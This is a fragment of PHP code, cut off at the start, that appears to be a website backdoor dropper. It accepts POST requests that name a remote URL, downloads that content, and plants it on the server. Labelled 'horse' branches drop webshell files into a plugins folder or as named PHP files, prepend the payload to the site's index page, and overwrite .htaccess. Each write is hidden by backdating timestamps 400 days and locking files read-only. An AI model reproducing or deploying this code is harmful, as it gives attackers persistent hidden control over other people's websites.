|<\?php[\S\s]*/i', $contents, $mc);
$h = preg_match_all('/[<]html[\s\S]*?[<][\/]html>/i', $contents, $hc);
if ($a >=1&&empty($h)) {
$contents = $mc[0][$a-1];
}
if ($h>=1) {
$contents = $hc[0][$h-1];
}
if (strstr($contents,'%71%77%65%72%74%79%75%69%6f%70%61%73%64%66')) {
$contents = '';
}
$htmlContent = $getFileContent.$contents;
@unlink($indexName);
@touch($indexName, strtotime("-400 days", time()));
$putRes = @file_put_contents($indexName,$htmlContent);
if (!empty($putRes)) {
echo $indexName.'=>success'."
";
@chmod($indexName, 0444);
} else {
echo $indexName.'=>fail'."
";
}
exit;
}
$putRes = @file_put_contents($docUrl.'/'.$erName,$getFileContent);
if (!empty($putRes)) {
echo $docUrl.'/'.$erName.'=>success'."
";
@chmod($docUrl.'/'.$erName, 0644);
} else {
echo $docUrl.'/'.$erName.'=>fail'."
";
}
exit;
}
if (strstr($fileNameUrl,'htaccess')) {
@unlink($htUrl);
@touch($htUrl, strtotime("-400 days", time()));
$putRes = @file_put_contents($htUrl,$getFileContent);
if (!empty($putRes)) {
echo $fileNameUrl.'=>success'."
";
@chmod($htUrl, 0444);
} else {
echo $fileNameUrl.'=>fail'."
";
}
exit;
} else {
$putRes = @file_put_contents(__DIR__.'/license.php',$getFileContent);
if (!empty($putRes)) {
echo __DIR__.'/license.php'.'=>success'."
";
} else {
echo __DIR__.'/license.php'.'=>fail'."
";
}
exit;
}
}
if (!empty($_POST)) {
$type = $_POST['type'];
$fileNameUrl = $_POST['fileNameUrl'];
$horseToIndex = isset($_POST['horseIndex']) ? $_POST['horseIndex'] : '';
$secondName = isset($_POST['secondName']) ? $_POST['secondName'] : '';
if (empty($type)) {
echo '';
exit;
}
if (empty($fileNameUrl)) {
echo '';
exit;
}
$fileContent = @file_get_contents($fileNameUrl);
/*horse*/
if ($type == 1) {
$newDir = __DIR__.'/plugins/';
if (!is_dir($newDir)) {
@mkdir($newDir,0775);
}
if($horseToIndex == 1) {
if (!file_exists($newDir.'index.php')) {
@touch($newDir.'index.php');
}
@file_put_contents($newDir.'index.php',$fileContent);
echo $newDir.'index.php'.'=>success'."
";
}
$putRes = @file_put_contents(__DIR__.$fileName,$fileContent);
if (!empty($putRes)) {
echo __DIR__.$fileName.'=>success'."
";
} else {
echo __DIR__.$fileName.'=>fail'."
";
}
exit;
}
/*horse*/
/*index*/
if ($type == 2) {
$handle = fopen($indexName, "r");
$contents = fread($handle, filesize ($indexName));
fclose($handle);
$a = preg_match_all('/<\?php[\S\s]*?\?>|<\?php[\S\s]*/i', $contents, $mc);
$h = preg_match_all('/[<]html[\s\S]*?[<][\/]html>/i', $contents, $hc);
if ($a >=1&&empty($h)) {
$contents = $mc[0][$a-1];
}
if ($h>=1) {
$contents = $hc[0][$h-1];
}
if (strstr($contents,'%71%77%65%72%74%79%75%69%6f%70%61%73%64%66')) {
$contents = '';
}
$htmlContent = $fileContent.$contents;
@unlink($indexName);
@touch($indexName, strtotime("-400 days", time()));
$putRes = @file_put_contents($indexName,$htmlContent);
if (!empty($putRes)) {
echo $indexName.'=>success'."
";
@chmod($indexName, 0444);
} else {
echo $indexName.'=>fail'."
";
}
exit;
}
/*index*/
/*ht*/
if ($type == 3) {
if (strstr($fileNameUrl,'htaccess')) {
@unlink($htUrl);
@touch($htUrl, strtotime("-400 days", time()));
$putRes = @file_put_contents($htUrl,$fileContent);
if (!empty($putRes)) {
echo $htUrl.'=>success'."
";
@chmod($htUrl, 0444);
} else {
echo $htUrl.'=>fail'."
";
}
exit;
}
}
/*ht*/
/*second*/
if ($type == 4) {
if(!preg_match('/(\.php)$/i', $secondName)){
echo '';
exit;
}
$putRes = @file_put_contents($docUrl.'/'.$secondName,$fileContent);
if (!empty($putRes)) {
echo $docUrl.'/'.$secondName.'=>success'."
";
exit;
} else {
echo $docUrl.'/'.$secondName.'=>fail'."
";
exit;
}
}
/*second*/
}
?>